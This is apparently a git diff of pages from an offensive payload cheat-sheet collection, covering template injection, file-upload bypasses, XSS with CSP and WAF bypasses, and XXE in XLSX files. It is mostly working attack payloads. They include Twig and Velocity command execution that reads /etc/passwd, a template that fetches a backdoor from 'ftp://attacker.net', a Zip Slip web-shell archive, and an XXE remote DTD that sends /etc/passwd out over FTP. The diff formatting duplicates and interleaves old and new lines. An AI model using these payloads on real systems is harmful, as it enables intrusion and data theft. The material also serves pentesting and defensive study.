{system('cat index.php')} // compatible v3
```
---
## Twig
[Official website](https://twig.symfony.com/)
> Twig is a modern template engine for PHP.
### Twig - Basic injection
```python
{{7*7}}
{{7*'7'}} would result in 49
{{dump(app)}}
{{app.request.server.all|join(',')}}
```
### Twig - Template format
```python
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
```
### Twig - Arbitrary File Reading
```python
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
```
### Twig - Code execution
```python
{{self}}
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
```powershell
POST /subscribe?0=cat+/etc/passwd HTTP/1.1
email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
```
---
## Velocity
[Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
```python
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
```
---
## References ## References
* [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/) * [https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/](https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/)
@ -575,3 +797,4 @@ Fixed by https://github.com/HubSpot/jinjava/pull/230
* [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf) * [Remote Code Execution with EL Injection Vulnerabilities - Asif Durani - 29/01/2019](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) * [Handlebars template injection and RCE in a Shopify app ](https://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
* [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit) * [Lab: Server-side template injection in an unknown language with a documented exploit](https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit)
* [Exploiting Less.js to Achieve RCE](https://www.softwaresecured.com/exploiting-less-js/)

View File

@ -30,3 +30,4 @@ Twitter is very common in the InfoSec area. Many advices and tips on bug hunting
- [@filedescriptor - security researcher, bug hunter and content creator at 0xReconless](https://twitter.com/filedescriptor) - [@filedescriptor - security researcher, bug hunter and content creator at 0xReconless](https://twitter.com/filedescriptor)
- [@0xReconless - Security research, blogs, and videos by filedescriptor, ngalongc & EdOverflow](https://twitter.com/0xReconless) - [@0xReconless - Security research, blogs, and videos by filedescriptor, ngalongc & EdOverflow](https://twitter.com/0xReconless)
- [@pentest_swissky - Author of PayloadsAllTheThings & SSRFmap](https://twitter.com/pentest_swissky) - [@pentest_swissky - Author of PayloadsAllTheThings & SSRFmap](https://twitter.com/pentest_swissky)
- [@GentilKiwi - Author of Mimikatz & Kekeo](https://twitter.com/gentilkiwi)

View File

@ -6,35 +6,36 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
* [Tools](#tools) * [Tools](#tools)
* [Exploits](#exploits) * [Exploits](#exploits)
* [PHP Extension](#php-extension) * [Defaults extensions](#defaults-extension)
* [Other extensions](#other-extensions) * [Other extensions](#other-extensions)
* [Upload tricks](#upload-tricks) * [Upload tricks](#upload-tricks)
* [Filename vulnerabilities](#filename-vulnerabilities)
* [Picture upload with LFI](#picture-upload-with-lfi) * [Picture upload with LFI](#picture-upload-with-lfi)
* [Configuration Files](#configuration-files) * [Configuration Files](#configuration-files)
* [CVE - Image Tragik](#cve---image-tragik) * [CVE - Image Tragik](#cve---image-tragik)
* [CVE - FFMpeg](#cve---ffmpeg)
* [ZIP Archive](#zip-archive) * [ZIP Archive](#zip-archive)
* [References](#references) * [References](#references)
## Tools ## Tools
- [Fuxploider](https://github.com/almandin/fuxploider) - [Fuxploider](https://github.com/almandin/fuxploider)
- [Burp> Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - [Burp > Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa)
- [ZAP> FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) - [ZAP > FileUpload AddOn](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/)
## Exploits ## Exploits
### PHP Extension ### Defaults extensions
* Default PHP extensions * PHP Server
```powershell ```powershell
.php .php
.php3 .php3
.php4 .php4
.php5 .php5
.php7 .php7
```
* Less known extensions # Less known PHP extensions
```powershell
.pht .pht
.phps .phps
.phar .phar
@ -44,19 +45,9 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
.phtm .phtm
.inc .inc
``` ```
* Double extensions * ASP Server : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
```powershell * JSP : `.jsp, .jspx, .jsw, .jsv, .jspf`
.jpeg.php * Perl: `.pl, .pm, .cgi, .lib`
.jpg.php
.png.php
.*.php
```
### Other extensions
* asp : `.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)`
* perl: `.pl, .pm, .cgi, .lib`
* jsp : `.jsp, .jspx, .jsw, .jsv, .jspf`
* Coldfusion: `.cfm, .cfml, .cfc, .dbm` * Coldfusion: `.cfm, .cfml, .cfc, .dbm`
### Upload tricks ### Upload tricks
@ -64,7 +55,6 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
- Use double extensions : `.jpg.php` - Use double extensions : `.jpg.php`
- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg` - Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg`
- Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr` - Mix uppercase and lowercase : `.pHp, .pHP5, .PhAr`
- Null byte (works well against `pathinfo()`) - Null byte (works well against `pathinfo()`)
* .php%00.gif * .php%00.gif
* .php\x00.gif * .php\x00.gif
@ -73,15 +63,29 @@ Uploaded files may pose a significant risk if not handled correctly. A remote at
* .php%00.jpg * .php%00.jpg
* .php\x00.jpg * .php\x00.jpg
- Special characters - Special characters
* file.php...... (In Windows when a file is created with dots at the end those will be removed) * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed.
* file.php%20 * Whitespace characters: `file.php%20`
* Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`.
- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` - Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif`
* `Content-Type : image/gif` * `Content-Type : image/gif`
* `Content-Type : image/png` * `Content-Type : image/png`
* `Content-Type : image/jpeg` * `Content-Type : image/jpeg`
* Set the Content-Type twice: once for unallowed type and once for allowed.
- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures)
* Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. * Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.") * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[`
* JPG: `\xff\xd8\xff`
* GIF: `GIF87a` OR `GIF8;`
* Shell can also be added in the metadata
- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`")
### Filename vulnerabilities
- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension`
- LFI Payloads: e.g. `image.png../../../../../../../etc/passwd`
- XSS Payloads e.g. `'"><img src=x onerror=alert(document.domain)>.extension`
- File Traversal e.g. `../../../tmp/lol.png`
- Command Injection e.g. `; sleep 10;`
### Picture upload with LFI ### Picture upload with LFI
@ -115,11 +119,23 @@ pop graphic-context
More payload in the folder `Picture Image Magik` More payload in the folder `Picture Image Magik`
### CVE - FFMpeg
FFmpeg HLS vulnerability
### ZIP archive ### ZIP archive
When a ZIP/archive file is automatically decompressed after the upload When a ZIP/archive file is automatically decompressed after the upload
* Zip Slip: directory traversal to write a file somewhere else * Zip Slip: directory traversal to write a file somewhere else
```python
python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```
## References ## References
@ -128,3 +144,4 @@ When a ZIP/archive file is automatically decompressed after the upload
* [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/) * [La PNG qui se prenait pour du PHP, 23 février 2014](https://phil242.wordpress.com/2014/02/23/la-png-qui-se-prenait-pour-du-php/)
* [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf) * [File Upload restrictions bypass - Haboob Team](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [File Upload - Mahmoud M. Awali / @0xAwali](https://docs.google.com/presentation/d/1-YwXl9rhzSvvqVvE_bMZo2ab-0O5wRNTnzoihB9x6jI/edit#slide=id.ga2ef157b83_1_0)

View File

@ -134,10 +134,40 @@ More exploits at [http://www.xss-payloads.com/payloads-list.html?a#category=all]
## Identify an XSS endpoint ## Identify an XSS endpoint
This payload opens the debugger in the developper console rather than triggering a popup alert box.
```javascript ```javascript
<script>debugger;</script> <script>debugger;</script>
``` ```
Modern applications with content hosting can use [sandbox domains][sandbox-domains]
> to safely host various types of user-generated content. Many of these sandboxes are specifically meant to isolate user-uploaded HTML, JavaScript, or Flash applets and make sure that they can't access any user data.
[sandbox-domains]:https://security.googleblog.com/2012/08/content-hosting-for-modern-web.html
For this reason, it's better to use `alert(document.domain)` or `alert(window.origin)` rather than `alert(1)` as default XSS payload in order to know in which scope the XSS is actually executing.
Better payload replacing `<script>alert(1)</script>`:
```html
<script>alert(document.domain.concat("\n").concat(window.origin))</script>
```
While `alert()` is nice for reflected XSS it can quickly become a burden for stored XSS because it requires to close the popup for each execution, so `console.log()` can be used instead to display a message in the console of the developper console (doesn't require any interaction).
Example:
```html
<script>console.log("Test XSS from the search bar of page XYZ\n".concat(document.domain).concat("\n").concat(window.origin))</script>
```
References:
- [Google Bughunter University - XSS in sandbox domains](https://sites.google.com/site/bughunteruniversity/nonvuln/xss-in-sandbox-domain)
- [LiveOverflow Video - DO NOT USE alert(1) for XSS](https://www.youtube.com/watch?v=KHwVjzWei1c)
- [LiveOverflow blog post - DO NOT USE alert(1) for XSS](https://liveoverflow.com/do-not-use-alert-1-in-xss/)
### Tools ### Tools
Most tools are also suitable for blind XSS attacks: Most tools are also suitable for blind XSS attacks:
@ -158,6 +188,10 @@ Most tools are also suitable for blind XSS attacks:
<scr<script>ipt>alert('XSS')</scr<script>ipt> <scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script> "><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script> "><script>alert(String.fromCharCode(88,83,83))</script>
<script>\u0061lert('22')</script>
<script>eval('\x61lert(\'33\')')</script>
<script>eval(8680439..toString(30))(983801..toString(36))</script> //parseInt("confirm",30) == 8680439 && 8680439..toString(30) == "confirm"
<object/data="jav&#x61;sc&#x72;ipt&#x3a;al&#x65;rt&#x28;23&#x29;">
// Img payload // Img payload
<img src=x onerror=alert('XSS');> <img src=x onerror=alert('XSS');>
@ -177,6 +211,8 @@ Most tools are also suitable for blind XSS attacks:
"><svg/onload=alert(String.fromCharCode(88,83,83))> "><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/) "><svg/onload=alert(/XSS/)
<svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script) <svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
<svg><script>alert('33')
<svg><script>alert&lpar;'33'&rpar;
// Div payload // Div payload
<div onpointerover="alert(45)">MOVE HERE</div> <div onpointerover="alert(45)">MOVE HERE</div>
@ -225,6 +261,12 @@ e.g: 14.rs/#alert(document.domain)
Use CTRL+SHIFT+X to trigger the onclick event Use CTRL+SHIFT+X to trigger the onclick event
``` ```
### XSS when payload is reflected capitalized
```javascript
<IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1)>
```
### DOM based XSS ### DOM based XSS
Based on a DOM XSS sink. Based on a DOM XSS sink.
@ -905,15 +947,6 @@ transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (') transformed into U+0027 APOSTROPHE (')
Unicode character U+FF1C FULLWIDTH LESS­THAN SIGN (encoded as %EF%BC%9C) was
transformed into U+003C LESS­THAN SIGN (<)
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/ E.g : http://www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/
%EF%BC%9E becomes > %EF%BC%9E becomes >
%EF%BC%9C becomes < %EF%BC%9C becomes <
@ -1008,7 +1041,9 @@ Check the CSP on [https://csp-evaluator.withgoogle.com](https://csp-evaluator.wi
<script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>" <script/src=//google.com/complete/search?client=chrome%26jsonp=alert(1);>"
``` ```
More JSONP endpoints available in [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt) More JSONP endpoints:
* [/Intruders/jsonp_endpoint.txt](Intruders/jsonp_endpoint.txt)
* [JSONBee/jsonp.txt](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt)
### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa) ### Bypass CSP by [lab.wallarm.com](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa)
@ -1037,10 +1072,10 @@ Works for CSP like `script-src self`
### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072) ### Bypass CSP by [@404death](https://twitter.com/404death/status/1191222237782659072)
Works for CSP like `script-src 'self' data:` Works for CSP like `script-src 'self' data:` as warned about in the official [mozilla documentation](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src).
```javascript ```javascript
<script ?/src="data:+,\u0061lert%281%29">/</script> <script src="data:,alert(1)">/</script>
``` ```
@ -1048,6 +1083,13 @@ Works for CSP like `script-src 'self' data:`
### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec) ### Cloudflare XSS Bypasses by [@Bohdan Korzhynskyi](https://twitter.com/bohdansec)
#### 25st January 2021
```html
<svg/onrandom=random onload=confirm(1)>
<video onnull=null onmouseover=confirm(1)>
```
#### 21st April 2020 #### 21st April 2020
```html ```html

View File

@ -503,60 +503,67 @@ GIF (experimental)
### XXE inside XLSX file ### XXE inside XLSX file
Extract the excel file. Structure of the XLSX:
``` ```
$ mkdir XXE && cd XXE $ 7z l xxe.xlsx
$ unzip ../XXE.xlsx [...]
Archive: ../XXE.xlsx Date Time Attr Size Compressed Name
inflating: xl/drawings/drawing1.xml ------------------- ----- ------------ ------------ ------------------------
inflating: xl/worksheets/sheet1.xml 2021-10-17 15:19:00 ..... 578 223 _rels/.rels
inflating: xl/worksheets/_rels/sheet1.xml.rels 2021-10-17 15:19:00 ..... 887 508 xl/workbook.xml
inflating: xl/sharedStrings.xml 2021-10-17 15:19:00 ..... 4451 643 xl/styles.xml
inflating: xl/styles.xml 2021-10-17 15:19:00 ..... 2042 899 xl/worksheets/sheet1.xml
inflating: xl/workbook.xml 2021-10-17 15:19:00 ..... 549 210 xl/_rels/workbook.xml.rels
inflating: xl/_rels/workbook.xml.rels 2021-10-17 15:19:00 ..... 201 160 xl/sharedStrings.xml
inflating: _rels/.rels 2021-10-17 15:19:00 ..... 731 352 docProps/core.xml
inflating: [Content_Types].xml 2021-10-17 15:19:00 ..... 410 246 docProps/app.xml
2021-10-17 15:19:00 ..... 1367 345 [Content_Types].xml
------------------- ----- ------------ ------------ ------------------------
2021-10-17 15:19:00 11216 3586 9 files
```
Extract Excel file: `7z x -oXXE xxe.xlsx`
Rebuild Excel file:
```
$ cd XXE
$ 7z u ../xxe.xlsx *
``` ```
Add your blind XXE payload inside `xl/workbook.xml`. Add your blind XXE payload inside `xl/workbook.xml`.
```xml ```xml
<xml...> <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]> <!DOCTYPE cdl [<!ELEMENT cdl ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<x>&xxe;</x> <cdl>&rrr;</cdl>
<workbook...> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
``` ```
Alternativly, add your payload in `xl/sharedStrings.xml`: Alternativly, add your payload in `xl/sharedStrings.xml`:
```xml ```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ELEMENT t ANY > <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]> <!DOCTYPE cdl [<!ELEMENT t ANY ><!ENTITY % asd SYSTEM "http://x.x.x.x:8000/xxe.dtd">%asd;%c;]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&xxe;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst> <sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&rrr;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
``` ```
Rebuild the Excel file. Using a remote DTD will save us the time to rebuild a document each time we want to retrieve a different file.
Instead we build the document once and then change the DTD.
And using FTP instead of HTTP allows to retrieve much larger files.
`xxe.dtd`
```xml
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://x.x.x.x:2121/%d;'>">
```
Serve DTD and receive FTP payload using [xxeserv](https://github.com/staaldraad/xxeserv):
``` ```
$ zip -r ../poc.xlsx * $ xxeserv -o files.log -p 2121 -w -wd public -wp 8000
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)
``` ```
### XXE inside DTD file ### XXE inside DTD file